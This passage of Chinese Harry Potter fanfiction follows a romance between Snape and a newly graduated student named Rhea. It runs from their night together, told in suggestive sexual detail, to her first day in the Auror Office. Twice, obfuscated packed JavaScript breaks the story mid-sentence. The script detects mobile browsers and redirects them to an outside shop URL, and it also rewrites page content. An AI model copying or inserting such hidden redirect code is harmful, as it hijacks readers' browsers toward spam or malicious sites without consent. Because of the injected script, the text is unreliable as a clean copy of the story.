男人高大的身形投下一片清冷的阴影,他的假面埋在深沉的幽黑之中,也让他至少找回差点失控的自我。他抬起她的下巴,刻意加重语调道:“说说看,你这一整晚到底在盘算什么,嗯?” 跟暖烘烘的礼堂大厅不同,霍格沃茨的走廊可留不住任何一丝的温度。更甚,寒气正顺沿古老的砖缝扑在她躶//露的肌肤上,令她浅浅地发抖。她不自觉地向面前唯一的热源凑近,真诚地说:“……你明明就知道。”感受到他加重的鼻息,她以手背碰碰他的脸颊,诚恳的话语轻如蝉翼:“我就想跟你待在一起,你知道今晚不会有人愿意回寝室的。” “所以,你就决定拐走校长,好为其他人创造宵禁后可以在城堡游荡的机会?”他嗤笑一声,尖锐锋利地指出她的“意图”。嘴上是不留情,但他的指腹正在揉搓起触手可及的唇瓣。他看着她的口红蹭在他的指尖,顿了顿,继而沿着她柔润的下颌弧度,最后捻起她颈间的蝙蝠吊饰。 他把玩着这个小饰品,眼神微妙地收紧,语气也越加严厉:“别试探我,蕾雅。这并不是一个聪明的提议 (Do not tempt me, Rhea. This is not a wise proposal.)。”他的瞳仁在漆黑中依然灼灼如火,似乎因为她的淘气将她焚烧殆尽。 好了,真的不能再继续了,他必须保持冷静。虽然这整整一晚,都是他在纵容她任性天真的引诱——但当她真的将这个选项摊在他的面前,他又害怕自己的失控会伤害到她——她比想象中诱人太多,他没有把握事情不会超出她可以承受的程度。 压制下不该有冲动,斯内普倏地移开目光,按在她肩侧的手还自觉地将她再推开一点。略占上风的理智让他找回了冷静叙述的能力,他故意拖长词句,沉声警告她:“这会是一件不能反悔的事 ,我并不能保证现在带你上去会发生什么 (For this is the point of no return, I cannot assure you of the consequences should I take you upstair now)。”(1) “我已做过决定(I have decided)。”她揪着他的黑袍开襟缩短两人的距离,眼中展露出一贯让他降服的坚定和执着,“或者,请告诉我。我们还要等多久呢?(Or just tell me, how long should we two wait?)” 他没有办法用言语回答她这个问题,而她,亦不再想要他的回答。因为当她小心翼翼地牵起他按在她肩膀的手试探他的意思时,他反手攥紧她,将她拥在长袍里面。 这是万圣夜的假面舞会,没有人会在这种时刻去注意一个戴着兜帽和面具的男人,也没有人会在七年级毕业生疯狂的夜晚,去在意两个依依不舍、依偎一起取暖的孤寂灵魂。 天气更冷了,烟花都已全部停止,暗灯笼也纷纷躲藏起来,庭院上空只余下白茫茫雾蒙蒙的一片绵密,大概是要下雪。 进入房间的第一件事是升起壁炉的火。两个人都没有说话,蕾雅只觉得那些堆砌的石头砖块间窜起的火苗要灼伤她。又或者说,是今晚推开那扇橡木大门的那刻,由他亲手在她身上纵下的火从来就没有熄灭。 但她心甘情愿被彻底燃烧殆尽。 这么想着,她步步逼近,摘下他的兜帽,解下他的面具,然后是黑袍。他的手停在她脑后的眼罩丝带上,轻轻一扯,乌黑的装饰羽毛在空气中翩然而起,刺绣织物随之缓缓落地。 “我好冷,校长。”她抿了抿唇,那双被红酒熏染得如火般热烈的眼睛,正全无保留地凝视着他。 “如果你再这样称呼我,我会毫不犹豫履行我的校长职责,为格兰芬多私闯校长卧室扣去五十分。”他低沉地说着,转身往壁炉再加入两块木炭,然后不紧不慢地扣住她的手腕,将她拉入双臂环抱,扯起一张薄毯覆在她的肩上。 “我已经毕业了!”她争辩道,显然没有要把他的话放在心里的打算。依靠着自然取暖的本能,她像只温顺的猫咪一样紧贴他,低声细语:“而且,是您亲自带我进来的!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14468089|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “今天依旧是你在霍格沃茨的最后一天。”他嘶哑的嗓音似是谴责,更似是野兽在最后进攻之前告诫:“而且,我今晚已经想对你说很久。让我最后重申一遍,不要试探我,更不要捉弄你的校长,格兰芬多。” “我没有……唔!”他没有再给予她任何能回答的机会,因为他在一路上早已暗下决心。无论眼前人今夜要再辩解什么,他都有必要清清楚楚地让她深刻地记住这在霍格沃茨的最后一课。 ——不要,戏弄,她的,校长。 斯内普强硬地封锁她的话语,在缭绕缱绻的雾里引导她一点点回应他。他精确预测她的极限,并在恰当时刻松开。低下头,仿佛看见沾满晨露的鲜红花瓣,再往上,是一双雾蒙模糊的翠绿眼眸,里面溢满对他纯粹的深爱。 踌躇一阵,他抬手解开她发间的丝带、项圈,弯弯绕绕的绳带在地板上纠缠成一团,那只幽黑小巧的蝙蝠则静静地停在他的枕侧。她的长发散落在他的指间,而后,他再次近乎占有地逼近她,直至她的呼吸被他吞没。 太耀眼了。 紧绷的手指还在微微发颤。尽可能不去看那抹除了毛毯已一无所物遮挡的柔白。尽管如此,他的心脏正以一种前所未有的力度挤压胸膛。他与她的坚持对峙一阵,涣散的余光不适时地捕捉到她抵在唇边的贝齿,他根本难以直视,只好再度闭上眼睛,尽可能不看她。 “西弗?”她轻呼他名字,指腹掠过他的薄唇,呼吸在两人间徘徊。 “别那样看我。”他睁开眼,怜惜地抚触她的小脸,仿佛获得了一件无比珍贵的宝物。再开口时,喑哑的声音是被一团厉火燎过,“别那样看我,蕾雅。”他重复道,字句间依然略微有最后告诫的意味,尽管他的动作和眼神都流淌出不加掩饰的深情。 “西弗。”她再次低喊他的名字。 “我已经说过了,别……”别再挑战我的忍耐。 “你会后悔这一刻吗?”她紧攥着他的小臂,轻轻地打断他。 “……不。”他低喘一口气,笃定地说:“我永远不会。” 蕾雅弯起唇角,凑前在男人的眼睑一啄,挨在他耳侧的低语掺杂着令人迷醉的甜美:“同样的,西弗,我也想真正地和你在一起。” 西弗勒斯一贯笔直的肩线陡然震颤,有什么紧绷的东西随着此时壁炉中木炭燃断的声响也一下就断裂开。坠落一地的残骸将所有的退路也都砸碎封断,这已是无法回头的分界处。他的思绪一片空白,颤悠悠地踏上这座甜蜜的独木桥,而前方,是这只狡猾小兽引他前往的理想国,他不知道那些光亮的、璀璨的、迷人的都到底是什么。 太耀眼了。 意识回拢时分,小兽已被他按倒在柔软纯白的雾花间。西弗勒斯不可自抑地沉落在那宠溺的凝视中,遵循本能,他吻过期盼已久的额头,面颊,脖颈,手臂,还有左肩的伤痕。他一点点探寻,沿着正因为重量塌陷的布料缓慢地前进。 壁炉中的火烧得正旺,过多的木炭正在那里引起一场大火。火花兀自溅开,高温的蒸汽开始在这片迷人的雾之国弥散。太热了,他感觉自己宛如在教授一堂有关于火焰魔法的课。这是他将要教会她的最后一课,但她显然根本不懂得怎么掌握这门精细的学科,只能任由魔力无序地从身体迸发,让这些高涨的、乱窜的烈火猛然烧起,也吞噬他。 细腻的火舌紧紧舔舐着他的每一分、每一寸。他的每个细胞,所有一切,都在这种高温下无可抵抗地融化,连血液也被炙烤得如炽热的熔岩般从毛孔淌出,所经的皮肤都被烫得一阵阵发痛。 她显然比他更加糟糕,炎热迸溅的岩浆带着坚硬的石块冲抵向她。随之而来的碰撞使她不知所措地蜷缩,但无意中漏出的呜咽又像是助燃剂,生生让本已肆虐的炽焰焚烧得愈加凶猛。 “西、西弗!” 指甲剜进皮肉,使他至少维持最后一丝清醒,再克制,放慢。 “……要停下吗?” 她坚定地否决这个提议。他心疼地皱起眉,但还是选择尊重她的倔强。只是俯下身,再次耐心细致地贴上滚烫的唇瓣,试图以此来安抚、减轻烈焰给她带来的痛楚。 “傻瓜,别咬伤自己。” 他的指尖细心地探出,代替她的嘴唇抵在齿间。如深渊般眼睛紧盯着她潮湿氤氲的双眼,时时刻刻观察她脸上的神情变化,生怕在那里寻得任何过度的紧张与不安。他是如此地专注,甚至没有发现从鼻尖滑落的汗滴已然占据底下的浅白,在明艳的火光照耀下,烙成一串串绚烂瑰丽的红痕。 一切的火焰,烟花,雷鸣,还有喧嚣。 最终,余下的只有她,是这世间上所有的美好与温暖。 无法抑制的感叹最终从西弗勒斯的喉中逃脱,又被她的温柔稳稳擭住。最后的颤动落在生命余烬的绵长,他成为她体温的一部分,于波澜退去的纷乱间感受到她无尽的包容和爱意。 这种感觉过分满足而完整,久久停留耳侧的清晰喘息让他欣然。还有她无意识地一下下勾勒他肩背后腰疤痕的动作,令他感到前所未有的安宁。仿佛,那些年复一年的伤痕都被她一点点抚平。痛苦已到尽头,他与他热爱的终于在漫长的等待中得到重逢,融汇为一,这里再也不会有更多的磨难,再也没有了。 他已完全属于她,而她,就在他身旁。 “蕾雅。”他此刻什么都不想做,唯一的愿望是听见她的声音。 “嗯……?”她从紧绷中缓神,全身的每个地方都乏力透彻,以至于烧灼感退后的很久一段时间,她都还处于恍惚的状态。感到他支起身子缓慢地离开她,她才轻微抽气,勉强睁开眼睛:“……你在想什么?”她用手背轻轻擦去他湿漉面庞上的汗珠。 “一些令我愧疚和罪恶的安心感。”他再度安抚般紧拥住她,拨开她的额发,拂去她眼角残留的泪痕,然后找到被水汽和火色同时亲吻过的脸颊,贴了过去,“你呢,有没有哪里不舒服?” 她摇了摇头,倏地回想起他刚才到底有多温柔,话语也羞赧地微弱下去,几乎听不见:“我只是在想……” “想说什么?” “我现在特别觉得,”蕾雅抚摸着他仍有未尽星火的眼底,点了点他高挺的鼻梁,十分不好意思地红着脸开口:“我就是这个世界上最幸福的人。” 西弗勒斯愣了愣,很快低低地笑着说:“不太对。” “……怎么不对?”她困惑地问。 他不以为然地耸肩,起身用魔杖施展两个清洁咒语,顺便往壁炉中添入几块木炭,才挑起一边的眉毛转向她,轻描淡写道:“因为我才是。” 蕾雅一时目瞪口呆,随后忍不住笑出声,对他露出一个难以置信的表情,探出手抱住他的脖颈:“好啦,是你。” 眼前这个人,怎么回事啊,怎么能又严厉冷硬又热烈可爱?还会时不时在她面前、且仅在她面前透露出纯粹的孩子气。这么一想,蕾雅又将男巫拉过来,再度与他交换一个长久的吻。 “还冷吗?”男人露出获得胜利的轻笑,将她安置在自己的枕头上。 “当然不冷。”她听着真实火焰噼啪跃动的细响,沁心的暖意也随之袭来。她在这种融融的和煦中懒洋洋地打了个哈欠。 “睡吧,我会在清晨教师早会前叫醒你。”他掖好她身上的羽毛被。 “嗯,我爱你,西弗。”她说。 “我知道。”他再度吻在她的额上,抬手熄灭房内的灯光后躺在她的身侧。又故作严肃地补充:“但敢再乱称呼,我会让你记住教训的。” “你不提,我都忘记这件事了。”蕾雅浅笑着翻身钻进他的臂弯,像一只疲倦的小兽终于找到迁徙地般,温顺地窝在他的胸前:“至少,这最后的几个小时还让我这么唤你吧。我亲爱的教授。” “……。”西弗勒斯扯起嘴角,无奈地笑了笑,搭在她腰间的环得更紧。 房间内,只有壁炉中炭火持续燃烧的噼啪声伴随幸福的暖流持续回响。 很快,安然平和的睡意就席卷二人。 78.初雪 是壁炉火焰的声音。 还有窗外猛风吹飘雪的声音,夹杂一些冰渣扑打在玻璃上发出的嗒嗒细响。光是这么听着,就足以令人自然浮现出白茫纯净的冰天雪地,继而不禁往安全温暖的被窝再缩一缩。 蕾雅也确实这么做了,几乎是不自觉地、下意识地,埋在暖融融的纺织物中,贪婪地让这种好闻怡人的雪松味包裹她。仿佛是误入一片平和舒缓的树海,行走得疲惫以后,随意酣然地躺倒在其中一棵百年老树的荫庇,有温软的阳光被筛落,正懒懒地掉在她的小腿和脚背。 在这样的想象中,她眷恋地再往香氛的来源凑近。这时,一股温热的触感覆在她的额头,好像在很轻微细致地拨开她的碎发,沿着她的脸颊滑向耳廓,开始轻轻揉捏她的耳朵。 她被这打扰她深眠的动静引得略微不满地皱眉,继而往前蹭了蹭,似乎想要逃避这种干扰。那种温柔感停了下来,但她的面颊也贴上一层柔软的布料,雪松的味道变得更为浓烈。 “醒了?”是熟悉的低沉嗓音,在她的上方轻柔地飘浮。 嗯?—— 她不情愿地掀开眼皮,就看见裹着灰色浴袍的黑发男巫。他正斜靠床头,半长的黑发惬意垂落,手里捧着一本似是杂志的书,另一只手慵懒地搭在她的脸旁。床头柜透过的微弱烛光和壁炉浓艳的火色共同勾勒出俊傲的侧脸轮廓,与那仍旧带有潮湿的发梢。他头顶的墨绿色床幔带着金色流苏垂坠,有金色的流苏垂坠,显得十分优雅雍容。毕竟是小精灵布置下的装潢,倒是与他平日的精简朴素不太一样。 “唔……”蕾雅半是迷糊地眨了眨眼,在清醒的一瞬间,昨夜的记忆毫无保留地涌入她的大脑。顷刻,她猛猛地揪紧同样暗绿的羽绒被,头埋进身边人的浴袍,害羞到说不出话。 “怎么了?”斯内普将杂志放在被子上面,手指顺沿她露出的后颈一路往下,像是在安抚她,但细微的痒意让她攥紧他的衣服。 她点了点头,又摇了摇头。 看着她现在这个后知后觉、从未有过的害羞模样,他不由自主地回想起昨天晚上才认识到的、完全崭新的她。她的拥抱温润,呜咽又轻又软,床单在她手中揉成一团又松开,在睡梦中她会紧紧地抱住他的手臂,蜷缩成一团窝在他身边。低微而轻柔的呼吸声就像是深夜的新雪着地,微不可闻,却一下下叩敲他的心弦。 这是他无与伦比宝物。如旭日升起,初雪降下,是火炉跳跃扑怀的第一缕暖意,是添在咖啡中肉桂的甘香馥郁,以及结束长久熬制后紧握在手心的、那种踏实满足的魔药余温。 斯内普忍不住笑了笑,随后微微错开视线,指尖仍眷恋地刮蹭她的耳后,低缓地问她:“……会疼吗?我去拿药水?” 她因这个突如其来的问题而浑身一顿,好像是为了验证他的话般在被子底下稍稍挪动双腿,急忙地再次晃晃脑袋,脸埋得比前面还要深,从脖颈到耳尖都是如燃烧般的潮红。“……别走。”含糊的嘟哝从衣物中闷闷响起。 “我不走。”男人放下心来,不紧不慢地开始理顺她的长发,是在耐心等待她做好面对他的心理准备。因为其实他刚醒来时,也为她在身边沉睡这件事花费过时间——但是,明明,昨晚肆意引//诱他的,可是她本人呐。 过了一会,蕾雅才长长地吐出一口气,暖热的潮湿扑在男人的腿边。“几点了?”她从被褥中轻微地偏过头,揉了揉眼底,绿色的瞳仁悄悄地移到眼尾看向他:“你没睡吗?” “还早。”他回答她,“睡了,只是睡前才想到有早会上要用的工作没完成,所以起早了点。” 这男人不会能精准地控制自己的起床时间吧?她不由地想。 “那现在完成了吗?”她略带愧疚地喃喃,心里自然明白昨晚确实是她一步步逼他越过警戒线的,“……抱歉,打乱了你的安排。” “不是什么花费时间的工作,不然我也不会答应你。所以别道歉。”他的指尖随意地捻起她的一缕发丝,侧眸对上她的视线,语气挂上一些讽刺的意味:“也正好是时候,该考虑怎么不让工作占用太多时间。” “为什么?”她困惑地眨了眨眼,少有地没听懂他这句话的意思,印象中斯内普并不是会因为工作占用时间而烦恼的人。 “毕竟,还需分一些给某个人。”斯内普直截了当地说,将手上的那缕头发别在她的耳后,指背轻擦过她的鼻梁,如羽毛轻抚过林中幽静的湖面,满是怜惜。 怎么回事,这家伙的情话好像一下子就熟练了? 蕾雅凝视对方那双依旧平静到不可思议的黑眸,他明显并未察觉自己眼中流淌出的深意,也不自知刚才道出的话语有多么撩拨人心。 这下是换她紧抱被子半支起身,佯装镇定地瞪他一眼:“等我也开始工作了,只怕你都见不到我。你看,卢平教授就经常一个人在霍格沃茨带泰迪。”说到这里,她忽而想象起斯内普以后完全有可能像卢平那样,独自一人在霍格沃茨照顾小孩的情景。这种违和感令她心虚地扭过头,生怕被他追问。 “我并不怀疑。”斯内普似乎没有注意她的所想,因为他正不动声色地将目光从她胸前一抹碍眼的痕迹上撇开。他耸耸肩,继而缓缓补充:“但是别忘了,与莱姆斯不同,我每周都会去魔法部开会。”他边说着,手上的魔杖挥了挥。跟随他的动作,一件长款的灰色睡衣径直飞过来,覆盖在她的肩膀。 “谢谢。”她嘟囔着,穿上他的睡衣并扣好最上方几颗扣子,然后依靠向他,顿时闻到他身上那股雪松的沐浴露香气。这原是他平时身上那种清冽的气息,跟魔药的味道混合后变成一种独特的苦涩。“我等下可以在你这里洗个澡吗?”她问。 “我让拉比给你拿了一套衣服和鞋子。”斯内普用魔杖指向沙发上那叠整齐的衣物,并回答道。她顺着指向的方向看去,发现她昨晚的礼服也已被他折叠好放在那里。斯内普放下魔杖,从床头柜上拿起一瓶淡黄色的魔药塞到她手里,沉声道:“先喝了这个。” “这是什么?”蕾雅转动着还留有温度的小玻璃瓶,显然是刚熬制完成不久。拔开瓶盖,散发出柳树皮和草本植物的苦涩气息。见斯内普哽住喉咙不说话,面庞上还显露出一点浅淡的绯色,她很突兀地立刻意会到他的用意,于是也不再继续追问,只是红着脸喝完这瓶魔药,而后接过他体贴递来的水杯,冲刷掉口中的涩感。 “我会去看看有没有更好的魔药。”斯内普抿着嘴角放好空瓶和水杯,伸手揽住正沉默着颔首的她,低头吻过她的发顶。 “说起魔药,之前那篇文章见刊了。”他轻咳一声,适时转移话题,将杂志翻回前几页推到她的眼前。原来他在读的是今早猫头鹰送来的《炼金术士》。“还获得了编辑推荐奖,有一小笔不菲的奖金,等寄来了我会拿给你。”他说。 “诶,获奖?”她难以置信地浏览这篇文章。加粗的哥特体标题下的确盖了一个鲜红色的“本月最佳编辑推荐”印章,再往下,是以花体字标注的两人署名——蕾雅·莱恩哈特,西弗勒斯·斯内普,霍格沃茨魔法学校。“太意外了。”她脱口感慨道,两个人的名字罕见地并列出现让她有些说不清楚是喜悦多一些还是惊讶多一些的震撼。 “看来除了傲罗,你还有别的职业选择。或者说,今后的国际炼金术大会你还得跟我一起出席。”斯内普倒是半开起玩笑,又问道:“你今天接下来时间安排是什么?” “嗯……”她垂下眼睑,自顾自地翻阅被微光映得昏黄的杂志,发现他在她的文稿基础上添加补充了不少彩色的插图,也不知他是从哪里搜寻来这些资料的。她用指腹摩擦着其中一幅图画,答道:“我先回家,然后跟哈利他们在格里莫广场集合,去魔法部报道。” 斯内普略微调整姿势,让她更舒适地贴近他,“你们今天就去魔法部?我下午这边的事情忙完以后也会去一趟。” “所以,你会顺便找我?晚饭?”她抬起头,面露愉悦。 “是,还有你父亲。我今天恰好有事与他商量。” “什么事?”她越发好奇地端详他故作神秘的面色,又看了看两人现在的状态,眉心很快拧紧,呢喃道:“你不会想告诉他……”不不不,这可不能说,雷格纳会崩溃的。 斯内普看穿了她的心思。他挑起眉毛,用手指轻捏她的脸,以此打断这只小狮过于大胆的想法。“别胡思乱想。我只是在考虑,是否需要将这里和蜘蛛尾巷的壁炉接入你家的飞路网,考虑到今后——”他没有继续说下去,只是阴郁地将眼睛往她一斜。 她明亮的绿眸为这个提议闪烁一瞬。暗暗开心过后,她探身碰上他的薄唇。 蕾雅安心地与他再温存片刻,便起身去沐浴。之后,她整理好所有留在他房间内的东西,与准备前往教师休息室的他告别后,一个人踏上返回格兰芬多公共休息室的路。 外面是苍茫到无尽的大雪纷飞,看来是冷空气在前半夜越过山脉扑向苏格兰高地。席卷而来的风霜将城堡铺盖成白皑皑的王国,连一向黑灰的禁林与翠郁的山峦也被染成无暇的素净,成为天际边模糊的白影。 她被凛冽的冷风吹得清醒一些,裹紧他给她披上的防风斗篷,在长廊眺望随风旋转的雪华。过重的冰棱再也无法承受,沿着出挑的屋檐滑坠,砸在地上激起一层迷蒙幻美的雪尘。她探出指尖,接住一片小巧完美的六角雪晶,收回手,她轻轻地将雪絮按在唇上,感受到细微清透的寒凉,但很快就被她的体温化开。 不知道为什么,这让她莫名想起斯内普。 想起来,第一次因为魔药去找他是在下雪天,第一次鼓起勇气在霍格莫德跟着他回城堡也是在下雪天,第一次真正接触到他的黑魔标记也是下雪,第一次被他安顿在他的卧室、送格兰芬多宝剑的那晚,同样也是下雪。 而昨夜与今朝,亦是下雪。她一如既往地钟爱雪天,只感激梅林让她在离开霍格沃茨的最后一天还能见到这般感人、广袤无垠的银装大地。清晨的城堡就沉静在这漫天寂静的银白之中,尚未没有人苏醒。她走到格兰芬多塔楼的时候,尼克爵士从某一面墙穿行出来,体贴且又八卦地护送她一路。 “我今后还会常常见到你,是吗,我的小姐?”这位爵士在胖夫人画像不远处停下,优雅有礼地调整他耷拉的长曲发,“你要知道,昨晚所有霍格沃茨的幽灵都在窃窃私语,通宵达旦的。没人敢相信我们那位古怪的校长竟然坠入爱河,而且对象还是我们格兰芬多的学生。” “我也不敢相信他会爱上我。”蕾雅咯咯地笑道,随口延续他的话。 尼克爵士绽出一个客气温和的笑容,笃定地告诉她:“不,亲爱的,据我看,我们格兰芬多的卓越素质本就足以催生种种奇迹。” 蕾雅没想到尼克会这么说。她顿住脚步,转身向这位幽灵郑重地鞠躬致谢:“是啊。谢谢你,尼克爵士。而且,是的,我还会常回来的。” 在第三次向因她和尼克的谈话而被吵醒的胖夫人道歉之后,她才得以钻进公共休息室,只幸好尼克与胖夫人的交情不错。 此时的窗外已是晃眼夺目的大白,光芒透过拼凑出狮子纹样的彩色玻璃,在窗台前印出一道道华丽斑驳的炫丽。那绣有“Forti Animo Estote(要有勇气)”的金边雄狮旗帜下,壁炉有序不紊地送来源源暖流。 她解开也属于斯内普的墨色围巾,踩上深红繁复的地毯,边用围巾揉搓着一路上冻到冰冷的双手边走向楼梯,眼角却望见二楼夹层角落沙发上依偎在一起的哈利和金妮——红发女孩被一条厚毛毯包裹,只露出脑袋,正在男孩的怀中酣睡。 哈利是醒着的,并且也看见了她,更注意到她身上属于斯内普的斗篷围巾,以及面上铺满的绯红。两个人相视瞬间,蕾雅立即做出个噤声的动作。哈利的脸上展现出一副哈哈大笑的表情,更是调皮地对她挤挤眼睛,用手势示意她快点回寝室。 梅林知道,她有多喜欢这些在这间公共休息室发生的小插曲。不论是欢喜的、伤心的、热闹的、难堪的,这都是属于她的记忆,也是她所属于的格兰芬多学院的重要组成,始终如一。 …… 搭乘霍格沃茨特快返回伦敦以后,蕾雅按照计划先回家放下行李,换上一套较为正式的服装,然后在格里莫广场与另外三人碰头,一起前往魔法部。这种感觉有点奇特,见到平时大大咧咧的好友们都穿上端正的西装,一时间竟然难以习惯。 魔法部的升降梯如既往地拥挤,丝毫没有比之前来参加斯内普审讯的时候好多少。有一个不停地发出可怕“咚咚”撞击声的行李箱被一位男巫不耐烦地踢在角落,几架淡紫色的飞机灵巧地穿进栅栏门,围绕轿厢顶那不大光亮的暗灯盘旋。 赫敏去的是四层的魔法生物管理控制司,其余三人在二楼艰难地挤出升降梯,顺应人潮进入法律执行司大厅,傲罗办公室设置在这一层右翼。他们在被小精灵擦得锃亮的深色地板行走,推开栎木大门,映入眼帘的是一个更为巨大宽敞的开放式空间。 三人不由自主地开始环顾四周,灰白的幕帘自天顶垂下,入目皆是单调到重复的、以隔板分割开的隔间,只是每个隔间被装饰成不同的个人风格,各有一名傲罗在其中忙碌。羽毛笔划过纸张的摩擦声和窸窣的交谈融为一片混杂的喧嚣,看来这就是他们日后的工作场所。 “梅林,这看起来像个大型工厂。”罗恩小声嘀咕一句,目不转睛地观察周围,“看,那家伙的办公桌上放着一枚巫师棋,至少以后我们能在这找到同好。” “以后我们就是这里的一员了。”双手轻松地插在上衣口袋的哈利回复他,身上有一种与罗恩的嫌弃不同的兴奋。 三人沿着入口前进一段,很快就见到斯威克主任和一位身形魁梧、面容严厉的男士从右侧迎来。他们身后是一扇黑色的木门,一块金属牌匾雕刻着“米利森特·斯威克,傲罗办公室主任”。 “你们来得很准时。”斯威克主任面上有温和亲切的神色,她和那位年长男士停在三人的前方,示意他们跟上,“欢迎你们加入傲罗办公室,这位是副主任艾德蒙·汉密尔顿,也是这次战争的主力,和你们认识的阿拉斯托·穆迪一样能力高强,尤其擅长对付危险魔法生物,将会是你们这一年的主训练官。”年长男傲罗微微眯起眼颔首。 “斯威克主任,汉密尔顿副主任。”三个人迅速敛起一切心情,认真地向两人打招呼,也不再交谈,只是跟在斯威克主任的后方。 走近主任的办公室,蕾雅才注意到,靠近的那面墙上悬挂着一整面的画像,每一个画像下都标注了年份,不少画框一角还佩戴一枚荣誉勋章。她粗略瞥一眼,不经意间就捕捉到“忒修斯·斯卡曼德”的名字,是大名鼎鼎的纽特·斯卡曼德的兄长,第一次魔法大战中的战争英雄,也曾担任过傲罗办公室主任。除此之外,她还看到鲁弗斯·斯克林杰和金斯莱·沙克尔的名字——这明显是一面历任傲罗办公室主任的功勋墙。 斯威克主任耐心地为他们讲解,三人在办公室签署过正式工作合同,领取魔法部徽章和身份配卡,再听汉密尔顿副主任详细说明傲罗办公室的职责和守则。傲罗就跟麻瓜世界的警//察有异曲同工之妙,最主要的核心任务是对抗黑魔法伤害和逮捕违法的黑巫师们,但也主要负责魔法部监听,守卫和护送的任务,追捕偷猎者及魔法物品不正当使用的善后。 这些任务种类繁多纷杂,要求傲罗们必须灵活应对,根据具体情况制定策略,这也是傲罗的严格训练本应长达三年的原因。而战后最多的任务,便是追踪余下的食死徒,帮助巫师社区的重建,还有在沙克尔部长撤走阿兹卡班监狱的摄魂怪后,需要补充的人手。 眼下,这些都不是他们三人担心的。在这一年,他们需要全力投入到由资深傲罗进行的课程和战斗训练中。等明年的这个时候,他们要通过各种测试,比如说唐克斯曾提到过的隐藏、伪装、潜行、跟踪,基础魔药知识考核。除此之外,他们还要掌握常见的魔法生物应对措施,这是经过1945年与格林德沃的战斗之后,忒修斯·斯卡曼德主任特意增添的规则——所以,斯威克才会安排汉密尔顿来负责没有任何神奇动物NEWTs成绩的三人。 繁琐的事项终于完成,斯威克主任将他们交给前来接应的唐克斯,由这位前辈凤凰社成员带领他们熟悉工作环境。三个人不时与前来“围观”和“认识”救世主的傲罗们交谈,随后来到属于他们的工作隔间。他们的位置被统一安排在远离升降梯的靠窗一侧,附近仍有几个空位,是留给几个由于行程还没前来报道的毕业生。 咖啡和甜点供应的角落旁的隐藏门后,是仓库区域,堆砌着备用文具,世界地图与书籍,各种逮捕、防护、通讯的工具,甚至有用于魔法生物身上的拘束锁链。唐克斯说,能在里面找到执行任务所需的任何物品。仓库更深处,是保管收缴的重要物品的场所,他们暂时还没有权限进入那里。 连续参观完审讯室和临时拘留室,三个人都感到有些疲惫,唐克斯领着他们来到地下一层的魔法部食堂,稍作休息。 这里也是充满魔法部风格的幽黑和宽广,也像霍格沃茨的礼堂,拥有能预示室外天气的魔法天空。虚幻的穹隆下,谈话声穿插在羊皮纸的撰写间,不时有餐具和食物按照订单自动飞舞至相应的桌边。 “总之,欢迎加入!”唐克斯特意请客咖啡和甜甜圈,热情地搂着蕾雅的脖子。她的表情明媚光彩得完全不像一个战斗力强大的傲罗,“我真没想到,连蕾雅也会加入我们。不过考虑到你在战争的表现,倒也并不奇怪斯威克主任会特意招揽你。毕竟能使用摄神取念的巫师在傲罗办公室也是极为稀缺的。”她说得激动,干脆将咖啡当成啤酒与后辈们畅快碰杯。 “是这样吗?我还以为许多傲罗都会呢。”蕾雅歪了歪头,轻抿一口撒有肉桂粉的拿铁,“哈利也学习过一阵,不是吗?” “我那次就别提了,”哈利咬了一口巧克力甜甜圈,苦笑道:“那完全是一场灾难,到最后我也没明白我到底是学会了,还是伏地魔不愿意再跑进我的脑子里了。” “蕾雅,跟你不一样,哈利跟斯内普凑在一起就是个灾难。”罗恩调侃地撇撇嘴,毫不掩饰面上的嘲弄:“当时邓布利多真应该亲自教你的。” “是啊。”哈利赞同地点头,“后来邓布利多也这么说。” “你们后面的训练会重新学习大脑封闭术的。”唐克斯接着为他们解释,“毕竟我们得预防在一些最糟糕的情况下,敌人能从我们这里获取到有用信息的途径。会摄神取念的黑巫师并不少。” “我明白。”哈利诚恳地回答,打趣的视线旋即投向开始抱头苦恼的罗恩:“罗恩,逃不过的,要加油哦。” 不知不觉间时候已近黄昏,唐克斯在短暂的休憩后便匆匆返回工作隔间,加急处理今日余下的任务。哈利和罗恩决定去四楼等待不知为何没有结束工作说明的赫敏。而蕾雅则跟父亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14497706|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写信约定好的,前往九楼神秘司的副司长办公室等他下班。 即使魔法部常年熙熙攘攘,但神秘事务司这层的灯光永远是魔法部最昏暗的。蕾雅时常怀疑,这层楼浅薄的烛火可能都比不过她父亲那头灿烂的金发。她想着些有的没的,慢慢踱出升降梯的轿厢,却被迎面一个她从未打过交道的人堵住前往父亲办公室的路。 “真是巧了,我听说今天会有新任傲罗报道,打算审判结束后去那碰碰运气呢。”丽塔·斯基特的出现总是伴随着一种突兀的戏剧性。蕾雅疑惑地看她,只见那一头金色大卷发精心打理得没有任何起翘,身着一袭泛光的闪耀洋红长袍。她那副夸张的异形珠宝眼镜在神秘司的微光下显得格外狡黠,仿佛可以洞穿所有的秘密。 “没想到啊——”她用尖锐到令人不适的细嗓子感慨起来,“没想到这可让我撞了个正,斯内普传记的最后一块拼图。”随着她浮夸的动作,高跟鞋在地板上敲出一声声脆响,浓烈到呛鼻的香水和一根漂浮的自动书记羽毛笔都咄咄逼近蕾雅。 来者不善。 